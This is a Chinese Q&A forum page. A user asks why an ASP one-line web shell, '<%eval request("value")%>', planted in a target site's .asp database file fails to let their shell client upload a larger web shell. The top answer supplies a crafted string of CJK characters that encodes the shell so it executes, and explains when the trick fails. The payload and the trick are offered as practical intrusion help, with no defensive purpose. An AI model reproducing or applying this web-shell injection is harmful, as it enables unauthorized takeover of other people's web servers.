永发信息网

我插入了<%eval request("value")%>到ASP后缀的数据库里,在网址里直接输入数据库的地址可以后可以看到

答案:2  悬赏:40  手机版
解决时间 2021-02-24 22:20
  • 提问者网友:做自己de王妃
  • 2021-02-24 13:20
一堆乱码,可以搜索到我插入的一句话,但是我用一句话客户端连接上传不了,本应是跳转到我传的大马,但他还是出现的那数据库的那个页面,这是怎么回事?
最佳答案
  • 五星知识达人网友:拾荒鲤
  • 2021-02-24 14:58
你的 <%eval request("value")%> 应该是每个字母被空格隔开了,如果是那样,你应该写入:
┼症污爠焕敌瑳∨∣┩>
到数据库,那样就可以了,还不清楚看我空间文章. (不要认为是乱码,这个是精心构造出来的)
如果对方存放数据库目录限制了asp执行权限,那就没有办法了.
全部回答
  • 1楼网友:笑迎怀羞
  • 2021-02-24 15:10
任务占坑
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯